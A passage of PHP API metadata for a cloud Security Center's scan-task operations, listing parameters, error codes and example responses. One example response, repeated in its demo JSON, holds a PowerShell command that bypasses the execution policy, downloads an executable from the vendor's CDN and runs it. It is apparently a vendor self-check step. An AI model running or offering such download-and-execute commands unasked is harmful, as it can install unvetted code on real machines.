], ], 'parameters' => [ [ 'name' => 'ConfigId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the task configuration.'."\n" ."\n" .'> You can call the [DescribeCycleTaskList](~~DescribeCycleTaskList~~) operation to query the IDs of task configurations.'."\n", 'type' => 'string', 'required' => true, 'example' => '435f626256ebf564cf5ba966a539****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7DBB3D54-AF29-5BF4-8B44-9CFA94F50****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7DBB3D54-AF29-5BF4-8B44-9CFA94F50****\\"\\n}","type":"json"}]', 'title' => 'DeleteCycleTask', ], 'ModifyCycleTask' => [ 'summary' => 'Modifies the execution cycle of periodic tasks, including image scan, urgent vulnerability scan, and virus detection tasks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasE5WAEJ', ], ], 'parameters' => [ [ 'name' => 'ConfigId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the task configuration.'."\n" ."\n" .'> You can call the [DescribeCycleTaskList](~~DescribeCycleTaskList~~) operation to query the IDs of task configurations.'."\n", 'type' => 'string', 'required' => true, 'example' => '00cfa8161da093089e6804ba6a33****', ], ], [ 'name' => 'TaskName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the task. Valid values:'."\n" ."\n" .'* **VIRUS_VUL_SCHEDULE_SCAN**: virus detection task'."\n" .'* **IMAGE_SCAN**: image scan task'."\n" .'* **EMG_VUL_SCHEDULE_SCAN**: urgent vulnerability scan task'."\n" ."\n" .'Valid values:'."\n" ."\n" .'* VIRUS_VUL_SCHEDULE_SCAN'."\n" ."\n" .' '."\n" ."\n" .' :'."\n" ."\n" .' '."\n" ."\n" .' virus detection task'."\n" ."\n" .' '."\n" ."\n" .'* IMAGE_SCAN'."\n" ."\n" .' '."\n" ."\n" .' :'."\n" ."\n" .' '."\n" ."\n" .' image scan task'."\n" ."\n" .' '."\n" ."\n" .'* EMG_VUL_SCHEDULE_SCAN'."\n" ."\n" .' '."\n" ."\n" .' :'."\n" ."\n" .' '."\n" ."\n" .' urgent vulnerability scan task'."\n" ."\n" .' '."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [ 'VIRUS_VUL_SCHEDULE_SCAN' => '', 'IMAGE_SCAN' => '', 'EMG_VUL_SCHEDULE_SCAN' => '', ], 'example' => 'EMG_VUL_SCHEDULE_SCAN', ], ], [ 'name' => 'TaskType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the task. Valid values:'."\n" ."\n" .'* **VIRUS_VUL_SCHEDULE_SCAN**: virus detection task'."\n" .'* **IMAGE_SCAN**: image scan task'."\n" .'* **EMG_VUL_SCHEDULE_SCAN**: urgent vulnerability scan task'."\n" ."\n" .'Valid values:'."\n" ."\n" .'* VIRUS_VUL_SCHEDULE_SCAN'."\n" ."\n" .' '."\n" ."\n" .' :'."\n" ."\n" .' '."\n" ."\n" .' virus detection task'."\n" ."\n" .' '."\n" ."\n" .'* IMAGE_SCAN'."\n" ."\n" .' '."\n" ."\n" .' :'."\n" ."\n" .' '."\n" ."\n" .' image scan task'."\n" ."\n" .' '."\n" ."\n" .'* EMG_VUL_SCHEDULE_SCAN'."\n" ."\n" .' '."\n" ."\n" .' :'."\n" ."\n" .' '."\n" ."\n" .' urgent vulnerability scan task'."\n" ."\n" .' '."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [ 'VIRUS_VUL_SCHEDULE_SCAN' => '', 'IMAGE_SCAN' => '', 'EMG_VUL_SCHEDULE_SCAN' => '', ], 'example' => 'VIRUS_VUL_SCHEDULE_SCAN', ], ], [ 'name' => 'PeriodUnit', 'in' => 'query', 'schema' => [ 'description' => 'The unit of the scan interval. Valid values:'."\n" ."\n" .'* **day**'."\n" .'* **hour**'."\n", 'type' => 'string', 'required' => false, 'example' => 'day', ], ], [ 'name' => 'IntervalPeriod', 'in' => 'query', 'schema' => [ 'description' => 'The interval at which the task is run.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '14', ], ], [ 'name' => 'FirstDateStr', 'in' => 'query', 'schema' => [ 'description' => 'The time when the task first started.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1664380800000', ], ], [ 'name' => 'TargetStartTime', 'in' => 'query', 'schema' => [ 'description' => 'The start time of the task. The start time must be a time frame.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'TargetEndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end time of the task. The time must be a time frame.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '6', ], ], [ 'name' => 'Param', 'in' => 'query', 'schema' => [ 'description' => 'The additional information.'."\n", 'type' => 'string', 'required' => false, 'example' => '{'."\n" .' "targetInfo": ['."\n" .' {'."\n" .' "type": "groupId",'."\n" .' "name": "TI HOST",'."\n" .' "target": 10597***'."\n" .' },'."\n" .' {'."\n" .' "type": "groupId",'."\n" .' "name": "expense HOST",'."\n" .' "target": 10597***'."\n" .' }'."\n" .' ]'."\n" .'}', ], ], [ 'name' => 'Enable', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable the task. Valid values:'."\n" ."\n" .'* **1**: enables the task.'."\n" .'* **0**: disables the task.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1AA33E30-7192-5648-93CD-D0E476A2****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-106', 'errorMessage' => 'The data is not found.', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1AA33E30-7192-5648-93CD-D0E476A2****\\"\\n}","type":"json"}]', 'title' => 'ModifyCycleTask', ], 'CancelOnceTask' => [ 'summary' => 'Cancels the main task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', ], 'parameters' => [ [ 'name' => 'TaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the task.'."\n" ."\n" .'> You can call the [GenerateOnceTask](~~GenerateOnceTask~~) operation to query the IDs of tasks.', 'type' => 'string', 'required' => true, 'example' => 'ec9c0d88f36cc27765a98c554ee2****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\"\\n}","type":"json"}]', 'title' => 'CancelOnceTask', ], 'DescribeOnceTask' => [ 'summary' => 'Queries agent tasks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92145', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], ], 'parameters' => [ [ 'name' => 'TaskType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the task. Valid values:'."\n" ."\n" .'* **CLIENT\\_PROBLEM_CHECK**: a task of the Security Center agent'."\n" .'* **CLIENT\\_DEV_OPS**: an O\\&M task of Cloud Assistant'."\n" .'* **ASSET\\_SECURITY_CHECK**: a task of asset information collection'."\n" ."\n" .'> You must specify at least one of the **TaskType** and **RootTaskId** parameters.', 'type' => 'string', 'required' => false, 'enumValueTitles' => [], 'example' => 'CLIENT_PROBLEM_CHECK', ], ], [ 'name' => 'RootTaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the root task.'."\n" ."\n" .'> You must specify at least one of the **TaskType** and **RootTaskId** parameters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'bb5d657479bba5e1d308b6c9e85c9174', ], ], [ 'name' => 'StartTimeQuery', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the root task starts. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1651737301000', ], ], [ 'name' => 'EndTimeQuery', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the root task ends. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1651766520000', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The source of the task. Valid values include the following values:'."\n" ."\n" .'* **schedule**: automatic scheduling of Cloud Security Scanner.'."\n" .'* **console**: one-click detection in the Cloud Security Scanner console.'."\n", 'type' => 'string', 'required' => false, 'example' => 'console', ], ], [ 'name' => 'TaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the task.'."\n", 'type' => 'string', 'required' => false, 'example' => 'd7b2acf8d362742123e4a84e1bf8****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'TaskManageResponseList' => [ 'description' => 'An array that consists of the tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the task.'."\n", 'type' => 'object', 'properties' => [ 'TaskType' => [ 'description' => 'The type of the task. Valid values:'."\n" ."\n" .'* **CLIENT_PROBLEM_CHECK**: a task of the Security Center client'."\n" .'* **CLIENT_DEV_OPS**: an O\\&M task of Cloud Assistant'."\n" .'* **ASSET_SECURITY_CHECK**: a task for asset information collection'."\n", 'type' => 'string', 'enumValueTitles' => [], 'example' => 'CLIENT_PROBLEM_CHECK', ], 'Progress' => [ 'description' => 'The progress of the task. Unit: percent (%).'."\n", 'type' => 'string', 'example' => '10%', ], 'TaskStatus' => [ 'description' => 'The status of the task. Valid values:'."\n" ."\n" .'* **1**: The task is started.'."\n" .'* **2**: The task is complete.'."\n" .'* **3**: The task fails.'."\n" .'* **4**: The task times out.'."\n", 'type' => 'integer', 'format' => 'int32', 'enumValueTitles' => [], 'example' => '1', ], 'DetailData' => [ 'description' => 'The execution details of the task. The value of this parameter is in the JSON format.'."\n" ."\n" .'* **causeCode**: the returned code for the cause.'."\n" .'* **causeMsg**: the returned message for the cause.'."\n" .'* **resCode**: the returned code for troubleshooting.'."\n" .'* **resMsg**: the returned message for troubleshooting.'."\n" .'* **problemType**: the type of the issue.'."\n" .'* **dispatchType**: the task delivery method.'."\n" .'* **uuid**: the UUID of the server.'."\n" .'* **instanceId**: the instance ID of the server.'."\n" .'* **internetIp**: the public IP address of the server.'."\n" .'* **intranetIp**: the private IP address of the server.'."\n" .'* **instanceName**: the instance name of the server.'."\n" .'* **url**: the download URL of the troubleshooting log.'."\n", 'type' => 'string', 'example' => '['."\n" .' {'."\n" .' "dispatchType": "manual",'."\n" .' "causeMsg": [],'."\n" .' "causeCode": [],'."\n" .' "resCode": ['."\n" .' "1003"'."\n" .' ],'."\n" .' "resMsg": ['."\n" .' "powershell -executionpolicy bypass -c \\"(New-Object Net.WebClient).DownloadFile(\'http://aegis.alicdn.com/download/aegis_client_self_check/win32/aegis_checker.exe\', $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath(\'.\\\\\\\\aegis_checker.exe\'))\\"; \\"./aegis_checker.exe -b eyJtb2RlIjoxLCJqc3J2X2RvbWFpbiI6W10sImlzc3VlIjoib2ZmbGluZSIsInVwZGF0ZV9kb21haW4iOltdLCJ1dWlkIjoiaW5ldC1lYWUwNDg2Ny0wMDJmLTQyM2QtYWYwMC1jNzJjZDYyOWIyNDgiLCJjbWRfaWR4IjoiNDRjZThiZWI3ZGYyYTQxMjQ1NGM4ZDc5OTE1ODI1MzMifQ==\\""'."\n" .' ],'."\n" .' "problemType": "offline",'."\n" .' "uuid": "inet-eae04867-002f-423d-af00-c72cd629****"'."\n" .' }'."\n" .']', ], 'TaskStatusText' => [ 'description' => 'The text description of the status for the task. Valid values:'."\n" ."\n" .'* **INIT**: The task is pending start.'."\n" .'* **START**: The task is started.'."\n" .'* **DISPATCH**: The self-check command is issued.'."\n" .'* **SUCCESS**: The self-check is complete.'."\n" .'* **FAIL**: The task fails.'."\n" .'* **TIMEOUT**: The task times out.'."\n", 'type' => 'string', 'enumValueTitles' => [], 'example' => 'INIT', ], 'TaskName' => [ 'description' => 'The name of the task.'."\n", 'type' => 'string', 'example' => 'CLIENT_PROBLEM_CHECK', ], 'TaskStartTime' => [ 'description' => 'The timestamp that indicates the time when the task starts. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1649732012000', ], 'TaskEndTime' => [ 'description' => 'The timestamp that indicates the time when the task ends. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1650267989000', ], 'TaskId' => [ 'description' => 'The task ID.'."\n", 'type' => 'string', 'example' => 'e900f528f5a6229bb640ca27cb44c98e', ], 'SuccessCount' => [ 'description' => 'The number of tasks that are executed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'FailCount' => [ 'description' => 'The number of tasks that fail to be executed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'ResultInfo' => [ 'description' => 'The execution result of the task.'."\n", 'type' => 'string', 'example' => 'successful', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 2\\n },\\n \\"TaskManageResponseList\\": [\\n {\\n \\"TaskType\\": \\"CLIENT_PROBLEM_CHECK\\",\\n \\"Progress\\": \\"10%\\",\\n \\"TaskStatus\\": 1,\\n \\"DetailData\\": \\"[\\\\n {\\\\n \\\\\\"dispatchType\\\\\\": \\\\\\"manual\\\\\\",\\\\n \\\\\\"causeMsg\\\\\\": [],\\\\n \\\\\\"causeCode\\\\\\": [],\\\\n \\\\\\"resCode\\\\\\": [\\\\n \\\\\\"1003\\\\\\"\\\\n ],\\\\n \\\\\\"resMsg\\\\\\": [\\\\n \\\\\\"powershell -executionpolicy bypass -c \\\\\\\\\\\\\\"(New-Object Net.WebClient).DownloadFile(\'http://aegis.alicdn.com/download/aegis_client_self_check/win32/aegis_checker.exe\', $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath(\'.\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\aegis_checker.exe\'))\\\\\\\\\\\\\\"; \\\\\\\\\\\\\\"./aegis_checker.exe -b eyJtb2RlIjoxLCJqc3J2X2RvbWFpbiI6W10sImlzc3VlIjoib2ZmbGluZSIsInVwZGF0ZV9kb21haW4iOltdLCJ1dWlkIjoiaW5ldC1lYWUwNDg2Ny0wMDJmLTQyM2QtYWYwMC1jNzJjZDYyOWIyNDgiLCJjbWRfaWR4IjoiNDRjZThiZWI3ZGYyYTQxMjQ1NGM4ZDc5OTE1ODI1MzMifQ==\\\\\\\\\\\\\\"\\\\\\"\\\\n ],\\\\n \\\\\\"problemType\\\\\\": \\\\\\"offline\\\\\\",\\\\n \\\\\\"uuid\\\\\\": \\\\\\"inet-eae04867-002f-423d-af00-c72cd629****\\\\\\"\\\\n }\\\\n]\\",\\n \\"TaskStatusText\\": \\"INIT\\",\\n \\"TaskName\\": \\"CLIENT_PROBLEM_CHECK\\",\\n \\"TaskStartTime\\": 1649732012000,\\n \\"TaskEndTime\\": 1650267989000,\\n \\"TaskId\\": \\"e900f528f5a6229bb640ca27cb44c98e\\",\\n \\"SuccessCount\\": 7,\\n \\"FailCount\\": 2,\\n \\"ResultInfo\\": \\"successful\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeOnceTask', ], 'DescribeCycleTaskList' => [ 'summary' => 'Queries periodic scan tasks. The tasks include image scan tasks, urgent vulnerability scan tasks, and virus scan tasks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92052', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'TaskName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the task. Valid values:'."\n" ."\n" .'* **VIRUS\\_VUL\\_SCHEDULE_SCAN**: virus scan task'."\n" .'* **IMAGE_SCAN**: image scan task'."\n" .'* **EMG\\_VUL\\_SCHEDULE_SCAN**: urgent vulnerability scan task', 'type' => 'string', 'required' => false, 'example' => 'IMAGE_SCAN', ], ], [ 'name' => 'TaskType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the task. Valid values:'."\n" ."\n" .'* **VIRUS\\_VUL\\_SCHEDULE_SCAN**: virus scan task'."\n" .'* **IMAGE_SCAN**: image scan task'."\n" .'* **EMG\\_VUL\\_SCHEDULE_SCAN**: urgent vulnerability scan task', 'type' => 'string', 'required' => false, 'example' => 'IMAGE_SCAN', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'ConfigId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the task configuration.'."\n" ."\n" .'> You can call the [CreateCycleTask](~~CreateCycleTask~~) operation to query the IDs of task configurations.', 'type' => 'string', 'required' => false, 'example' => 'f93b6ee24cfd0aad44b897ad5051****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '149', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], ], ], 'CycleScheduleResponseList' => [ 'description' => 'An array that consists of periodic scan tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the periodic scan task.'."\n", 'type' => 'object', 'properties' => [ 'LastTaskId' => [ 'description' => 'The ID of the last task.'."\n", 'type' => 'string', 'example' => '38730bb078f4a1461d4ed283994c****', ], 'ConfigId' => [ 'description' => 'The configuration ID.'."\n", 'type' => 'string', 'example' => '2cdbdeba8dd70586d5814d4cbf21****', ], 'TargetEndTime' => [ 'description' => 'The end time of the task. The time must be a time frame.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'NextStartTimeStr' => [ 'description' => 'The time when the next task starts. The value is a UNIX timestamp. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1671184531000', ], 'TaskName' => [ 'description' => 'The name of the task.'."\n", 'type' => 'string', 'example' => 'IMAGE_SCAN', ], 'TaskType' => [ 'description' => 'The type of the task.'."\n", 'type' => 'string', 'example' => 'IMAGE_SCAN', ], 'IntervalPeriod' => [ 'description' => 'The interval between which two consecutive tasks are run.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'FirstDateStr' => [ 'description' => 'The time when the task first started.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1667491200000', ], 'Param' => [ 'description' => 'The extended information.'."\n", 'type' => 'string', 'example' => '{"userAgreement":"yes","lang":"zh"}', ], 'PeriodUnit' => [ 'description' => 'The unit of the scan interval. Valid values:'."\n" ."\n" .'* **day**'."\n" .'* **hour**'."\n", 'type' => 'string', 'example' => 'day', ], 'TargetStartTime' => [ 'description' => 'The start time of the task. The start time must be a time frame.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Enable' => [ 'description' => 'Indicates whether the configuration for the task interval was enabled. Valid values:'."\n" ."\n" .'* **1**: enabled.'."\n" .'* **0**: disabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 9\\n },\\n \\"CycleScheduleResponseList\\": [\\n {\\n \\"LastTaskId\\": \\"38730bb078f4a1461d4ed283994c****\\",\\n \\"ConfigId\\": \\"2cdbdeba8dd70586d5814d4cbf21****\\",\\n \\"TargetEndTime\\": 7,\\n \\"NextStartTimeStr\\": 1671184531000,\\n \\"TaskName\\": \\"IMAGE_SCAN\\",\\n \\"TaskType\\": \\"IMAGE_SCAN\\",\\n \\"IntervalPeriod\\": 3,\\n \\"FirstDateStr\\": 1667491200000,\\n \\"Param\\": \\"{\\\\\\"userAgreement\\\\\\":\\\\\\"yes\\\\\\",\\\\\\"lang\\\\\\":\\\\\\"zh\\\\\\"}\\",\\n \\"PeriodUnit\\": \\"day\\",\\n \\"TargetStartTime\\": 0,\\n \\"Enable\\": 1\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeCycleTaskList', ], 'GetOnceTaskResultInfo' => [ 'summary' => 'Queries the execution result of a one-time scan task, such as asset fingerprint collection, vulnerability scan, and image security scan.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92308', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', 'FEATUREsasLFD8D4', ], ], 'parameters' => [ [ 'name' => 'TaskType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the task. Valid values:'."\n" ."\n" .'* **CLIENT\\_PROBLEM_CHECK**: a task of the Security Center agent'."\n" .'* **CLIENT\\_DEV_OPS**: an O\\&M task of Cloud Assistant'."\n" .'* **ASSET\\_SECURITY_CHECK**: a task of asset information collection', 'type' => 'string', 'required' => true, 'example' => 'ASSETS_COLLECTION', ], ], [ 'name' => 'TaskName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the task. Valid values:'."\n" ."\n" .'* **CLIENT\\_PROBLEM_CHECK**: a task of the Security Center agent'."\n" .'* **CLIENT\\_DEV_OPS**: an O\\&M task of Cloud Assistant'."\n" .'* **ASSET\\_SECURITY_CHECK**: a task of asset information collection', 'type' => 'string', 'required' => true, 'example' => 'ASSETS_COLLECTION', ], ], [ 'name' => 'TaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the scan task.'."\n", 'type' => 'string', 'required' => true, 'example' => '9dfa3a7eb9547781632785b49003****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'CollectTime' => [ 'description' => 'The execution time of the task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1671184531000', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F****', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '44', ], 'TaskId' => [ 'description' => 'The ID of the scan task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => 'e7b70a4b030db086db52231f1b58****', ], 'FinishCount' => [ 'description' => 'The number of tasks that were completed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '47', ], 'TaskInfo' => [ 'description' => 'The information about the task.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the task. Valid values:'."\n" ."\n" .'* **INIT**: The task is not started.'."\n" .'* **START**: The task is started.'."\n" .'* **SUCCESS**: The task is complete.'."\n" .'* **TIMEOUT**: The task times out.'."\n", 'type' => 'string', 'example' => 'START', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParameter', 'errorMessage' => 'Illegal parameter, please check the param.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CollectTime\\": 1671184531000,\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F****\\",\\n \\"TotalCount\\": 44,\\n \\"TaskId\\": 0,\\n \\"FinishCount\\": 47,\\n \\"TaskInfo\\": {\\n \\"Status\\": \\"START\\"\\n }\\n}","type":"json"}]', 'title' => 'GetOnceTaskResultInfo', ], 'GetLastOnceTaskInfo' => [ 'summary' => 'Queries information about the latest scan task to determine whether the task is complete.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'TaskType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the task. Valid values:'."\n" ."\n" .'* **CLIENT\\_PROBLEM_CHECK**: client diagnosis task'."\n" .'* **CLIENT\\_DEV_OPS**: O\\&M task of Cloud Assistant'."\n" .'* **ASSETS\\_COLLECTION**: asset collection task', 'type' => 'string', 'required' => true, 'example' => 'ASSETS_COLLECTION', ], ], [ 'name' => 'TaskName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the task. Valid values:'."\n" ."\n" .'* 